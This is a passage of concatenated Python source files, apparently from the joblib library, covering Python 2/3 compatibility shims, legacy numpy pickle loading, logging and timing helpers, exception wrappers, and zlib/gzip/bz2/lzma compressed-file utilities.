    _func_defaults = "__defaults__"
    _func_globals = "__globals__"

    _iterkeys = "keys"
    _itervalues = "values"
    _iteritems = "items"
    _iterlists = "lists"
else:
    _meth_func = "im_func"
    _meth_self = "im_self"

    _func_closure = "func_closure"
    _func_code = "func_code"
    _func_defaults = "func_defaults"
    _func_globals = "func_globals"

    _iterkeys = "iterkeys"
    _itervalues = "itervalues"
    _iteritems = "iteritems"
    _iterlists = "iterlists"


try:
    advance_iterator = next
except NameError:
    def advance_iterator(it):
        return it.next()
next = advance_iterator


try:
    callable = callable
except NameError:
    def callable(obj):
        return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)


if PY3:
    def get_unbound_function(unbound):
        return unbound

    create_bound_method = types.MethodType

    Iterator = object
else:
    def get_unbound_function(unbound):
        return unbound.im_func

    def create_bound_method(func, obj):
        return types.MethodType(func, obj, obj.__class__)

    class Iterator(object):

        def next(self):
            return type(self).__next__(self)

    callable = callable
_add_doc(get_unbound_function,
         """Get the function out of a possibly unbound function""")


get_method_function = operator.attrgetter(_meth_func)
get_method_self = operator.attrgetter(_meth_self)
get_function_closure = operator.attrgetter(_func_closure)
get_function_code = operator.attrgetter(_func_code)
get_function_defaults = operator.attrgetter(_func_defaults)
get_function_globals = operator.attrgetter(_func_globals)


def iterkeys(d, **kw):
    """Return an iterator over the keys of a dictionary."""
    return iter(getattr(d, _iterkeys)(**kw))

def itervalues(d, **kw):
    """Return an iterator over the values of a dictionary."""
    return iter(getattr(d, _itervalues)(**kw))

def iteritems(d, **kw):
    """Return an iterator over the (key, value) pairs of a dictionary."""
    return iter(getattr(d, _iteritems)(**kw))

def iterlists(d, **kw):
    """Return an iterator over the (key, [values]) pairs of a dictionary."""
    return iter(getattr(d, _iterlists)(**kw))


if PY3:
    def b(s):
        return s.encode("latin-1")
    def u(s):
        return s
    unichr = chr
    if sys.version_info[1] <= 1:
        def int2byte(i):
            return bytes((i,))
    else:
        # This is about 2x faster than the implementation above on 3.2+
        int2byte = operator.methodcaller("to_bytes", 1, "big")
    byte2int = operator.itemgetter(0)
    indexbytes = operator.getitem
    iterbytes = iter
    import io
    StringIO = io.StringIO
    BytesIO = io.BytesIO
else:
    def b(s):
        return s
    def u(s):
        return unicode(s, "unicode_escape")
    unichr = unichr
    int2byte = chr
    def byte2int(bs):
        return ord(bs[0])
    def indexbytes(buf, i):
        return ord(buf[i])
    def iterbytes(buf):
        return (ord(byte) for byte in buf)
    import StringIO
    StringIO = BytesIO = StringIO.StringIO
_add_doc(b, """Byte literal""")
_add_doc(u, """Text literal""")


if PY3:
    import builtins
    exec_ = getattr(builtins, "exec")


    def reraise(tp, value, tb=None):
        if value.__traceback__ is not tb:
            raise value.with_traceback(tb)
        raise value


    print_ = getattr(builtins, "print")
    del builtins

else:
    def exec_(_code_, _globs_=None, _locs_=None):
        """Execute code in a namespace."""
        if _globs_ is None:
            frame = sys._getframe(1)
            _globs_ = frame.f_globals
            if _locs_ is None:
                _locs_ = frame.f_locals
            del frame
        elif _locs_ is None:
            _locs_ = _globs_
        exec("""exec _code_ in _globs_, _locs_""")


    exec_("""def reraise(tp, value, tb=None):
    raise tp, value, tb
""")


    def print_(*args, **kwargs):
        """The new-style print function."""
        fp = kwargs.pop("file", sys.stdout)
        if fp is None:
            return
        def write(data):
            if not isinstance(data, basestring):
                data = str(data)
            fp.write(data)
        want_unicode = False
        sep = kwargs.pop("sep", None)
        if sep is not None:
            if isinstance(sep, unicode):
                want_unicode = True
            elif not isinstance(sep, str):
                raise TypeError("sep must be None or a string")
        end = kwargs.pop("end", None)
        if end is not None:
            if isinstance(end, unicode):
                want_unicode = True
            elif not isinstance(end, str):
                raise TypeError("end must be None or a string")
        if kwargs:
            raise TypeError("invalid keyword arguments to print()")
        if not want_unicode:
            for arg in args:
                if isinstance(arg, unicode):
                    want_unicode = True
                    break
        if want_unicode:
            newline = unicode("\n")
            space = unicode(" ")
        else:
            newline = "\n"
            space = " "
        if sep is None:
            sep = space
        if end is None:
            end = newline
        for i, arg in enumerate(args):
            if i:
                write(sep)
            write(arg)
        write(end)

_add_doc(reraise, """Reraise an exception.""")


def with_metaclass(meta, *bases):
    """Create a base class with a metaclass."""
    return meta("NewBase", bases, {})

def add_metaclass(metaclass):
    """Class decorator for creating a class with a metaclass."""
    def wrapper(cls):
        orig_vars = cls.__dict__.copy()
        orig_vars.pop('__dict__', None)
        orig_vars.pop('__weakref__', None)
        for slots_var in orig_vars.get('__slots__', ()):
            orig_vars.pop(slots_var)
        return metaclass(cls.__name__, cls.__bases__, orig_vars)
    return wrapper






"""Numpy pickle compatibility functions."""

import pickle
import os
import zlib
from io import BytesIO

from ._compat import PY3_OR_LATER
from .numpy_pickle_utils import _ZFILE_PREFIX
from .numpy_pickle_utils import Unpickler


def hex_str(an_int):
    """Convert an int to an hexadecimal string."""
    return '{0:#x}'.format(an_int)

if PY3_OR_LATER:
    def asbytes(s):
        if isinstance(s, bytes):
            return s
        return s.encode('latin1')
else:
    asbytes = str

_MAX_LEN = len(hex_str(2 ** 64))
_CHUNK_SIZE = 64 * 1024


def read_zfile(file_handle):
    """Read the z-file and return the content as a string.

    Z-files are raw data compressed with zlib used internally by joblib
    for persistence. Backward compatibility is not guaranteed. Do not
    use for external purposes.
    """
    file_handle.seek(0)
    header_length = len(_ZFILE_PREFIX) + _MAX_LEN
    length = file_handle.read(header_length)
    length = length[len(_ZFILE_PREFIX):]
    length = int(length, 16)

    # With python2 and joblib version <= 0.8.4 compressed pickle header is one
    # character wider so we need to ignore an additional space if present.
    # Note: the first byte of the zlib data is guaranteed not to be a
    # space according to
    # https://tools.ietf.org/html/rfc6713#section-2.1
    next_byte = file_handle.read(1)
    if next_byte != b' ':
        # The zlib compressed data has started and we need to go back
        # one byte
        file_handle.seek(header_length)

    # We use the known length of the data to tell Zlib the size of the
    # buffer to allocate.
    data = zlib.decompress(file_handle.read(), 15, length)
    assert len(data) == length, (
        "Incorrect data length while decompressing %s."
        "The file could be corrupted." % file_handle)
    return data


def write_zfile(file_handle, data, compress=1):
    """Write the data in the given file as a Z-file.

    Z-files are raw data compressed with zlib used internally by joblib
    for persistence. Backward compatibility is not guarantied. Do not
    use for external purposes.
    """
    file_handle.write(_ZFILE_PREFIX)
    length = hex_str(len(data))
    # Store the length of the data
    file_handle.write(asbytes(length.ljust(_MAX_LEN)))
    file_handle.write(zlib.compress(asbytes(data), compress))

###############################################################################
# Utility objects for persistence.


class NDArrayWrapper(object):
    """An object to be persisted instead of numpy arrays.

    The only thing this object does, is to carry the filename in which
    the array has been persisted, and the array subclass.
    """

    def __init__(self, filename, subclass, allow_mmap=True):
        """Constructor. Store the useful information for later."""
        self.filename = filename
        self.subclass = subclass
        self.allow_mmap = allow_mmap

    def read(self, unpickler):
        """Reconstruct the array."""
        filename = os.path.join(unpickler._dirname, self.filename)
        # Load the array from the disk
        # use getattr instead of self.allow_mmap to ensure backward compat
        # with NDArrayWrapper instances pickled with joblib < 0.9.0
        allow_mmap = getattr(self, 'allow_mmap', True)
        memmap_kwargs = ({} if not allow_mmap
                         else {'mmap_mode': unpickler.mmap_mode})
        array = unpickler.np.load(filename, **memmap_kwargs)
        # Reconstruct subclasses. This does not work with old
        # versions of numpy
        if (hasattr(array, '__array_prepare__') and
            self.subclass not in (unpickler.np.ndarray,
                                  unpickler.np.memmap)):
            # We need to reconstruct another subclass
            new_array = unpickler.np.core.multiarray._reconstruct(
                self.subclass, (0,), 'b')
            return new_array.__array_prepare__(array)
        else:
            return array


class ZNDArrayWrapper(NDArrayWrapper):
    """An object to be persisted instead of numpy arrays.

    This object store the Zfile filename in which
    the data array has been persisted, and the meta information to
    retrieve it.
    The reason that we store the raw buffer data of the array and
    the meta information, rather than array representation routine
    (tostring) is that it enables us to use completely the strided
    model to avoid memory copies (a and a.T store as fast). In
    addition saving the heavy information separately can avoid
    creating large temporary buffers when unpickling data with
    large arrays.
    """

    def __init__(self, filename, init_args, state):
        """Constructor. Store the useful information for later."""
        self.filename = filename
        self.state = state
        self.init_args = init_args

    def read(self, unpickler):
        """Reconstruct the array from the meta-information and the z-file."""
        # Here we a simply reproducing the unpickling mechanism for numpy
        # arrays
        filename = os.path.join(unpickler._dirname, self.filename)
        array = unpickler.np.core.multiarray._reconstruct(*self.init_args)
        with open(filename, 'rb') as f:
            data = read_zfile(f)
        state = self.state + (data,)
        array.__setstate__(state)
        return array


class ZipNumpyUnpickler(Unpickler):
    """A subclass of the Unpickler to unpickle our numpy pickles."""

    dispatch = Unpickler.dispatch.copy()

    def __init__(self, filename, file_handle, mmap_mode=None):
        """Constructor."""
        self._filename = os.path.basename(filename)
        self._dirname = os.path.dirname(filename)
        self.mmap_mode = mmap_mode
        self.file_handle = self._open_pickle(file_handle)
        Unpickler.__init__(self, self.file_handle)
        try:
            import numpy as np
        except ImportError:
            np = None
        self.np = np

    def _open_pickle(self, file_handle):
        return BytesIO(read_zfile(file_handle))

    def load_build(self):
        """Set the state of a newly created object.

        We capture it to replace our place-holder objects,
        NDArrayWrapper, by the array we are interested in. We
        replace them directly in the stack of pickler.
        """
        Unpickler.load_build(self)
        if isinstance(self.stack[-1], NDArrayWrapper):
            if self.np is None:
                raise ImportError("Trying to unpickle an ndarray, "
                                  "but numpy didn't import correctly")
            nd_array_wrapper = self.stack.pop()
            array = nd_array_wrapper.read(self)
            self.stack.append(array)

    # Be careful to register our new method.
    if PY3_OR_LATER:
        dispatch[pickle.BUILD[0]] = load_build
    else:
        dispatch[pickle.BUILD] = load_build


def load_compatibility(filename):
    """Reconstruct a Python object from a file persisted with joblib.dump.

    This function ensures the compatibility with joblib old persistence format
    (<= 0.9.3).

    Parameters
    -----------
    filename: string
        The name of the file from which to load the object

    Returns
    -------
    result: any Python object
        The object stored in the file.

    See Also
    --------
    joblib.dump : function to save an object

    Notes
    -----

    This function can load numpy array files saved separately during the
    dump.
    """
    with open(filename, 'rb') as file_handle:
        # We are careful to open the file handle early and keep it open to
        # avoid race-conditions on renames. That said, if data is stored in
        # companion files, moving the directory will create a race when
        # joblib tries to access the companion files.
        unpickler = ZipNumpyUnpickler(filename, file_handle=file_handle)
        try:
            obj = unpickler.load()
        except UnicodeDecodeError as exc:
            # More user-friendly error message
            if PY3_OR_LATER:
                new_exc = ValueError(
                    'You may be trying to read with '
                    'python 3 a joblib pickle generated with python 2. '
                    'This feature is not supported by joblib.')
                new_exc.__cause__ = exc
                raise new_exc
        finally:
            if hasattr(unpickler, 'file_handle'):
                unpickler.file_handle.close()
        return obj






"""
Helpers for logging.

This module needs much love to become useful.
"""

# Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org>
# Copyright (c) 2008 Gael Varoquaux
# License: BSD Style, 3 clauses.

from __future__ import print_function

import time
import sys
import os
import shutil
import logging
import pprint

from .disk import mkdirp


def _squeeze_time(t):
    """Remove .1s to the time under Windows: this is the time it take to
    stat files. This is needed to make results similar to timings under
    Unix, for tests
    """
    if sys.platform.startswith('win'):
        return max(0, t - .1)
    else:
        return t


def format_time(t):
    t = _squeeze_time(t)
    return "%.1fs, %.1fmin" % (t, t / 60.)


def short_format_time(t):
    t = _squeeze_time(t)
    if t > 60:
        return "%4.1fmin" % (t / 60.)
    else:
        return " %5.1fs" % (t)


def pformat(obj, indent=0, depth=3):
    if 'numpy' in sys.modules:
        import numpy as np
        print_options = np.get_printoptions()
        np.set_printoptions(precision=6, threshold=64, edgeitems=1)
    else:
        print_options = None
    out = pprint.pformat(obj, depth=depth, indent=indent)
    if print_options:
        np.set_printoptions(**print_options)
    return out


###############################################################################
# class `Logger`
###############################################################################
class Logger(object):
    """ Base class for logging messages.
    """

    def __init__(self, depth=3):
        """
            Parameters
            ----------
            depth: int, optional
                The depth of objects printed.
        """
        self.depth = depth

    def warn(self, msg):
        logging.warn("[%s]: %s" % (self, msg))

    def debug(self, msg):
        # XXX: This conflicts with the debug flag used in children class
        logging.debug("[%s]: %s" % (self, msg))

    def format(self, obj, indent=0):
        """ Return the formated representation of the object.
        """
        return pformat(obj, indent=indent, depth=self.depth)


###############################################################################
# class `PrintTime`
###############################################################################
class PrintTime(object):
    """ Print and log messages while keeping track of time.
    """

    def __init__(self, logfile=None, logdir=None):
        if logfile is not None and logdir is not None:
            raise ValueError('Cannot specify both logfile and logdir')
        # XXX: Need argument docstring
        self.last_time = time.time()
        self.start_time = self.last_time
        if logdir is not None:
            logfile = os.path.join(logdir, 'joblib.log')
        self.logfile = logfile
        if logfile is not None:
            mkdirp(os.path.dirname(logfile))
            if os.path.exists(logfile):
                # Rotate the logs
                for i in range(1, 9):
                    try:
                        shutil.move(logfile + '.%i' % i,
                                    logfile + '.%i' % (i + 1))
                    except:
                        "No reason failing here"
                # Use a copy rather than a move, so that a process
                # monitoring this file does not get lost.
                try:
                    shutil.copy(logfile, logfile + '.1')
                except:
                    "No reason failing here"
            try:
                with open(logfile, 'w') as logfile:
                    logfile.write('\nLogging joblib python script\n')
                    logfile.write('\n---%s---\n' % time.ctime(self.last_time))
            except:
                """ Multiprocessing writing to files can create race
                    conditions. Rather fail silently than crash the
                    computation.
                """
                # XXX: We actually need a debug flag to disable this
                # silent failure.

    def __call__(self, msg='', total=False):
        """ Print the time elapsed between the last call and the current
            call, with an optional message.
        """
        if not total:
            time_lapse = time.time() - self.last_time
            full_msg = "%s: %s" % (msg, format_time(time_lapse))
        else:
            # FIXME: Too much logic duplicated
            time_lapse = time.time() - self.start_time
            full_msg = "%s: %.2fs, %.1f min" % (msg, time_lapse,
                                                time_lapse / 60)
        print(full_msg, file=sys.stderr)
        if self.logfile is not None:
            try:
                with open(self.logfile, 'a') as f:
                    print(full_msg, file=f)
            except:
                """ Multiprocessing writing to files can create race
                    conditions. Rather fail silently than crash the
                    calculation.
                """
                # XXX: We actually need a debug flag to disable this
                # silent failure.
        self.last_time = time.time()






"""
Exceptions
"""
# Author: Gael Varoquaux < gael dot varoquaux at normalesup dot org >
# Copyright: 2010, Gael Varoquaux
# License: BSD 3 clause

import sys

from ._compat import PY3_OR_LATER

class JoblibException(Exception):
    """A simple exception with an error message that you can get to."""
    def __init__(self, *args):
        # We need to implement __init__ so that it is picked in the
        # multiple heritance hierarchy in the class created in
        # _mk_exception. Note: in Python 2, if you implement __init__
        # in your exception class you need to set .args correctly,
        # otherwise you can dump an exception instance with pickle but
        # not load it (at load time an empty .args will be passed to
        # the constructor). Also we want to be explicit and not use
        # 'super' here. Using 'super' can cause a sibling class method
        # to be called and we have no control the sibling class method
        # constructor signature in the exception returned by
        # _mk_exception.
        Exception.__init__(self, *args)

    def __repr__(self):
        if hasattr(self, 'args') and len(self.args) > 0:
            message = self.args[0]
        else:
            message = ''

        name = self.__class__.__name__
        return '%s\n%s\n%s\n%s' % (name, 75 * '_', message, 75 * '_')

    __str__ = __repr__


class TransportableException(JoblibException):
    """An exception containing all the info to wrap an original
        exception and recreate it.
    """

    def __init__(self, message, etype):
        # The next line set the .args correctly. This is needed to
        # make the exception loadable with pickle
        JoblibException.__init__(self, message, etype)
        self.message = message
        self.etype = etype


class WorkerInterrupt(Exception):
    """ An exception that is not KeyboardInterrupt to allow subprocesses
        to be interrupted.
    """
    pass


_exception_mapping = dict()


def _mk_exception(exception, name=None):
    # Create an exception inheriting from both JoblibException
    # and that exception
    if name is None:
        name = exception.__name__
    this_name = 'Joblib%s' % name
    if this_name in _exception_mapping:
        # Avoid creating twice the same exception
        this_exception = _exception_mapping[this_name]
    else:
        if exception is Exception:
            # JoblibException is already a subclass of Exception. No
            # need to use multiple inheritance
            return JoblibException, this_name
        try:
            this_exception = type(
                this_name, (JoblibException, exception), {})
            _exception_mapping[this_name] = this_exception
        except TypeError:
            # This happens if "Cannot create a consistent method
            # resolution order", e.g. because 'exception' is a
            # subclass of JoblibException or 'exception' is not an
            # acceptable base class
            this_exception = JoblibException

    return this_exception, this_name


def _mk_common_exceptions():
    namespace = dict()
    if PY3_OR_LATER:
        import builtins as _builtin_exceptions
        common_exceptions = filter(
            lambda x: x.endswith('Error'),
            dir(_builtin_exceptions))
    else:
        import exceptions as _builtin_exceptions
        common_exceptions = dir(_builtin_exceptions)

    for name in common_exceptions:
        obj = getattr(_builtin_exceptions, name)
        if isinstance(obj, type) and issubclass(obj, BaseException):
            this_obj, this_name = _mk_exception(obj, name=name)
            namespace[this_name] = this_obj
    return namespace


# Updating module locals so that the exceptions pickle right. AFAIK this
# works only at module-creation time
locals().update(_mk_common_exceptions())






"""Utilities for fast persistence of big data, with optional compression."""

# Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org>
# Copyright (c) 2009 Gael Varoquaux
# License: BSD Style, 3 clauses.

import pickle
import sys
import io
import zlib
import gzip
import bz2
import warnings
import contextlib
from contextlib import closing

from ._compat import PY3_OR_LATER, PY26, PY27

try:
    from threading import RLock
except ImportError:
    from dummy_threading import RLock

if PY3_OR_LATER:
    Unpickler = pickle._Unpickler
    Pickler = pickle._Pickler
    xrange = range
else:
    Unpickler = pickle.Unpickler
    Pickler = pickle.Pickler

try:
    import numpy as np
except ImportError:
    np = None

try:
    import lzma
except ImportError:
    lzma = None


# Magic numbers of supported compression file formats.        '
_ZFILE_PREFIX = b'ZF'  # used with pickle files created before 0.9.3.
_ZLIB_PREFIX = b'\x78'
_GZIP_PREFIX = b'\x1f\x8b'
_BZ2_PREFIX = b'BZ'
_XZ_PREFIX = b'\xfd\x37\x7a\x58\x5a'
_LZMA_PREFIX = b'\x5d\x00'

# Supported compressors
_COMPRESSORS = ('zlib', 'bz2', 'lzma', 'xz', 'gzip')
_COMPRESSOR_CLASSES = [gzip.GzipFile, bz2.BZ2File]
if lzma is not None:
    _COMPRESSOR_CLASSES.append(lzma.LZMAFile)

# The max magic number length of supported compression file types.
_MAX_PREFIX_LEN = max(len(prefix)
                      for prefix in (_ZFILE_PREFIX, _GZIP_PREFIX, _BZ2_PREFIX,
                                     _XZ_PREFIX, _LZMA_PREFIX))

# Buffer size used in io.BufferedReader and io.BufferedWriter
_IO_BUFFER_SIZE = 1024 ** 2


###############################################################################
# Cache file utilities
def _detect_compressor(fileobj):
    """Return the compressor matching fileobj.

    Parameters
    ----------
    fileobj: file object

    Returns
    -------
    str in {'zlib', 'gzip', 'bz2', 'lzma', 'xz', 'compat', 'not-compressed'}
    """
    # Ensure we read the first bytes.
    fileobj.seek(0)
    first_bytes = fileobj.read(_MAX_PREFIX_LEN)
    fileobj.seek(0)

    if first_bytes.startswith(_ZLIB_PREFIX):
        return "zlib"
    elif first_bytes.startswith(_GZIP_PREFIX):
        return "gzip"
    elif first_bytes.startswith(_BZ2_PREFIX):
        return "bz2"
    elif first_bytes.startswith(_LZMA_PREFIX):
        return "lzma"
    elif first_bytes.startswith(_XZ_PREFIX):
        return "xz"
    elif first_bytes.startswith(_ZFILE_PREFIX):
        return "compat"

    return "not-compressed"


def _buffered_read_file(fobj):
    """Return a buffered version of a read file object."""
    if PY26 or (PY27 and isinstance(fobj, bz2.BZ2File)):
        # Python 2.6 doesn't fully support io.BufferedReader.
        # Python 2.7 doesn't work with BZ2File through a buffer: "no
        # attribute 'readable'" error.
        return fobj
    else:
        return io.BufferedReader(fobj, buffer_size=_IO_BUFFER_SIZE)


def _buffered_write_file(fobj):
    """Return a buffered version of a write file object."""
    if PY26 or (PY27 and isinstance(fobj, bz2.BZ2File)):
        # Python 2.6 doesn't fully support io.BufferedWriter.
        # Python 2.7 doesn't work with BZ2File through a buffer: no attribute
        # 'writable'.
        # BZ2File doesn't implement the file object context manager in python 2
        # so we wrap the fileobj using `closing`.
        return closing(fobj)
    else:
        return io.BufferedWriter(fobj, buffer_size=_IO_BUFFER_SIZE)


@contextlib.contextmanager
def _read_fileobject(fileobj, filename, mmap_mode=None):
    """Utility function opening the right fileobject from a filename.

    The magic number is used to choose between the type of file object to open:
    * regular file object (default)
    * zlib file object
    * gzip file object
    * bz2 file object
    * lzma file object (for xz and lzma compressor)

    Parameters
    ----------
    fileobj: file object
    compressor: str in {'zlib', 'gzip', 'bz2', 'lzma', 'xz', 'compat',
                        'not-compressed'}
    filename: str
        filename path corresponding to the fileobj parameter.
    mmap_mode: str
        memory map mode that should be used to open the pickle file. This
        parameter is useful to verify that the user is not trying to one with
        compression. Default: None.

    Returns
    -------
        a file like object

    """
    # Detect if the fileobj contains compressed data.
    compressor = _detect_compressor(fileobj)
    if isinstance(fileobj, tuple(_COMPRESSOR_CLASSES)):
        compressor = fileobj.__class__.__name__
    if compressor == 'compat':
        # Compatibility with old pickle mode: simply return the input
        # filename "as-is" and let the compatibility function be called by the
        # caller.
        warnings.warn("The file '%s' has been generated with a joblib "
                      "version less than 0.10. "
                      "Please regenerate this pickle file." % filename,
                      DeprecationWarning, stacklevel=2)
        yield filename
    else:
        # Checking if incompatible load parameters with the type of file:
        # mmap_mode cannot be used with compressed file or in memory buffers
        # such as io.BytesIO.
        if ((compressor in _COMPRESSORS or
                isinstance(fileobj, tuple(_COMPRESSOR_CLASSES))) and
                mmap_mode is not None):
            warnings.warn('File "%(filename)s" is compressed using '
                          '"%(compressor)s" which is not compatible with '
                          'mmap_mode "%(mmap_mode)s" flag passed. mmap_mode '
                          'option will be ignored.'
                          % locals(), stacklevel=2)
        if isinstance(fileobj, io.BytesIO) and mmap_mode is not None:
            warnings.warn('In memory persistence is not compatible with '
                          'mmap_mode "%(mmap_mode)s" flag passed. mmap_mode '
                          'option will be ignored.'
                          % locals(), stacklevel=2)

        # if the passed fileobj is in the supported list of decompressor
        # objects (GzipFile, BZ2File, LzmaFile), we simply return it.
        if isinstance(fileobj, tuple(_COMPRESSOR_CLASSES)):
            yield fileobj
        # otherwise, based on the compressor detected in the file, we open the
        # correct decompressor file object, wrapped in a buffer.
        elif compressor == 'zlib':
            yield _buffered_read_file(BinaryZlibFile(fileobj, 'rb'))
        elif compressor == 'gzip':
            yield _buffered_read_file(BinaryGzipFile(fileobj, 'rb'))
        elif compressor == 'bz2':
            if PY3_OR_LATER:
                yield _buffered_read_file(bz2.BZ2File(fileobj, 'rb'))
            else:
                # In python 2, BZ2File doesn't support a fileobj opened in
                # binary mode. In this case, we pass the filename.
                yield _buffered_read_file(bz2.BZ2File(fileobj.name, 'rb'))
        elif (compressor == 'lzma' or compressor == 'xz'):
            if lzma is not None:
                yield _buffered_read_file(lzma.LZMAFile(fileobj, 'rb'))
            else:
                raise NotImplementedError("Lzma decompression is not "
                                          "available for this version of "
                                          "python ({0}.{1})"
                                          .format(sys.version_info[0],
                                                  sys.version_info[1]))
        # No compression detected => returning the input file object (open)
        else:
            yield fileobj


def _write_fileobject(filename, compress=("zlib", 3)):
    """Return the right compressor file object in write mode."""
    compressmethod = compress[0]
    compresslevel = compress[1]
    if compressmethod == "gzip":
        return _buffered_write_file(BinaryGzipFile(filename, 'wb',
                                    compresslevel=compresslevel))
    elif compressmethod == "bz2":
        return _buffered_write_file(bz2.BZ2File(filename, 'wb',
                                                compresslevel=compresslevel))
    elif lzma is not None and compressmethod == "xz":
        return _buffered_write_file(lzma.LZMAFile(filename, 'wb',
                                                  check=lzma.CHECK_NONE,
                                                  preset=compresslevel))
    elif lzma is not None and compressmethod == "lzma":
        return _buffered_write_file(lzma.LZMAFile(filename, 'wb',
                                                  preset=compresslevel,
                                                  format=lzma.FORMAT_ALONE))
    else:
        return _buffered_write_file(BinaryZlibFile(filename, 'wb',
                                    compresslevel=compresslevel))


###############################################################################
#  Joblib zlib compression file object definition

_MODE_CLOSED = 0
_MODE_READ = 1
_MODE_READ_EOF = 2
_MODE_WRITE = 3
_BUFFER_SIZE = 8192


class BinaryZlibFile(io.BufferedIOBase):
    """A file object providing transparent zlib (de)compression.

    A BinaryZlibFile can act as a wrapper for an existing file object, or refer
    directly to a named file on disk.

    Note that BinaryZlibFile provides only a *binary* file interface: data read
    is returned as bytes, and data to be written should be given as bytes.

    This object is an adaptation of the BZ2File object and is compatible with
    versions of python >= 2.6.

    If filename is a str or bytes object, it gives the name
    of the file to be opened. Otherwise, it should be a file object,
    which will be used to read or write the compressed data.

    mode can be 'rb' for reading (default) or 'wb' for (over)writing

    If mode is 'wb', compresslevel can be a number between 1
    and 9 specifying the level of compression: 1 produces the least
    compression, and 9 (default) produces the most compression.
    """

    wbits = zlib.MAX_WBITS

    def __init__(self, filename, mode="rb", compresslevel=9):
        # This lock must be recursive, so that BufferedIOBase's
        # readline(), readlines() and writelines() don't deadlock.
        self._lock = RLock()
        self._fp = None
        self._closefp = False
        self._mode = _MODE_CLOSED
        self._pos = 0
        self._size = -1

        if not isinstance(compresslevel, int) or not (1 <= compresslevel <= 9):
            raise ValueError("compresslevel must be between an integer "
                             "between 1 and 9, you gave {0}"
                             .format(compresslevel))

        if mode == "rb":
            mode_code = _MODE_READ
            self._decompressor = zlib.decompressobj(self.wbits)
            self._buffer = b""
            self._buffer_offset = 0
        elif mode == "wb":
            mode_code = _MODE_WRITE
            self._compressor = zlib.compressobj(compresslevel,
                                                zlib.DEFLATED,
                                                self.wbits,
                                                zlib.DEF_MEM_LEVEL,
                                                0)
        else:
            raise ValueError("Invalid mode: %r" % (mode,))

        if isinstance(filename, (str, bytes)):
            self._fp = open(filename, mode)
            self._closefp = True
            self._mode = mode_code
        elif hasattr(filename, "read") or hasattr(filename, "write"):
            self._fp = filename
            self._mode = mode_code
        else:
            raise TypeError("filename must be a str or bytes object, "
                            "or a file")

    def close(self):
        """Flush and close the file.

        May be called more than once without error. Once the file is
        closed, any other operation on it will raise a ValueError.
        """
        with self._lock:
            if self._mode == _MODE_CLOSED:
                return
            try:
                if self._mode in (_MODE_READ, _MODE_READ_EOF):
                    self._decompressor = None
                elif self._mode == _MODE_WRITE:
                    self._fp.write(self._compressor.flush())
                    self._compressor = None
            finally:
                try:
                    if self._closefp:
                        self._fp.close()
                finally:
                    self._fp = None
                    self._closefp = False
                    self._mode = _MODE_CLOSED
                    self._buffer = b""
                    self._buffer_offset = 0

    @property
    def closed(self):
        """True if this file is closed."""
        return self._mode == _MODE_CLOSED

    def fileno(self):
        """Return the file descriptor for the underlying file."""
        self._check_not_closed()
        return self._fp.fileno()

    def seekable(self):
        """Return whether the file supports seeking."""
        return self.readable() and self._fp.seekable()

    def readable(self):
        """Return whether the file was opened for reading."""
        self._check_not_closed()
        return self._mode in (_MODE_READ, _MODE_READ_EOF)

    def writable(self):
        """Return whether the file was opened for writing."""
        self._check_not_closed()
        return self._mode == _MODE_WRITE

    # Mode-checking helper functions.

    def _check_not_closed(self):
        if self.closed:
            fname = getattr(self._fp, 'name', None)
            msg = "I/O operation on closed file"
            if fname is not None:
                msg += " {0}".format(fname)
            msg += "."
            raise ValueError(msg)

    def _check_can_read(self):
        if self._mode not in (_MODE_READ, _MODE_READ_EOF):
            self._check_not_closed()
            raise io.UnsupportedOperation("File not open for reading")

    def _check_can_write(self):
        if self._mode != _MODE_WRITE:
            self._check_not_closed()
            raise io.UnsupportedOperation("File not open for writing")

    def _check_can_seek(self):
        if self._mode not in (_MODE_READ, _MODE_READ_EOF):
            self._check_not_closed()
            raise io.UnsupportedOperation("Seeking is only supported "
                                          "on files open for reading")
        if not self._fp.seekable():
            raise io.UnsupportedOperation("The underlying file object "
                                          "does not support seeking")

    # Fill the readahead buffer if it is empty. Returns False on EOF.
    def _fill_buffer(self):
        if self._mode == _MODE_READ_EOF:
            return False
        # Depending on the input data, our call to the decompressor may not
        # return any data. In this case, try again after reading another block.
        while self._buffer_offset == len(self._buffer):
            try:
                rawblock = (self._decompressor.unused_data or
                            self._fp.read(_BUFFER_SIZE))

                if not rawblock:
                    raise EOFError
            except EOFError:
                # End-of-stream marker and end of file. We're good.
                self._mode = _MODE_READ_EOF
                self._size = self._pos
                return False
            else:
                self._buffer = self._decompressor.decompress(rawblock)
            self._buffer_offset = 0
        return True

    # Read data until EOF.
    # If return_data is false, consume the data without returning it.
    def _read_all(self, return_data=True):
        # The loop assumes that _buffer_offset is 0. Ensure that this is true.
        self._buffer = self._buffer[self._buffer_offset:]
        self._buffer_offset = 0

        blocks = []
        while self._fill_buffer():
            if return_data:
                blocks.append(self._buffer)
            self._pos += len(self._buffer)
            self._buffer = b""
        if return_data:
            return b"".join(blocks)

    # Read a block of up to n bytes.
    # If return_data is false, consume the data without returning it.
    def _read_block(self, n_bytes, return_data=True):
        # If we have enough data buffered, return immediately.
        end = self._buffer_offset + n_bytes
        if end <= len(self._buffer):
            data = self._buffer[self._buffer_offset: end]
            self._buffer_offset = end
            self._pos += len(data)
            return data if return_data else None

        # The loop assumes that _buffer_offset is 0. Ensure that this is true.
        self._buffer = self._buffer[self._buffer_offset:]
        self._buffer_offset = 0

        blocks = []
        while n_bytes > 0 and self._fill_buffer():
            if n_bytes < len(self._buffer):
                data = self._buffer[:n_bytes]
                self._buffer_offset = n_bytes
            else:
                data = self._buffer
                self._buffer = b""
            if return_data:
                blocks.append(data)
            self._pos += len(data)
            n_bytes -= len(data)
        if return_data:
            return b"".join(blocks)

    def read(self, size=-1):
        """Read up to size uncompressed bytes from the file.

        If size is negative or omitted, read until EOF is reached.
        Returns b'' if the file is already at EOF.
        """
        with self._lock:
            self._check_can_read()
            if size == 0:
                return b""
            elif size < 0:
                return self._read_all()
            else:
                return self._read_block(size)

    def readinto(self, b):
        """Read up to len(b) bytes into b.

        Returns the number of bytes read (0 for EOF).
        """
        with self._lock:
            return io.BufferedIOBase.readinto(self, b)

    def write(self, data):
        """Write a byte string to the file.

        Returns the number of uncompressed bytes written, which is
        always len(data). Note that due to buffering, the file on disk
        may not reflect the data written until close() is called.
        """
        with self._lock:
            self._check_can_write()
            # Convert data type if called by io.BufferedWriter.
            if not PY26 and isinstance(data, memoryview):
                data = data.tobytes()

            compressed = self._compressor.compress(data)
            self._fp.write(compressed)
            self._pos += len(data)
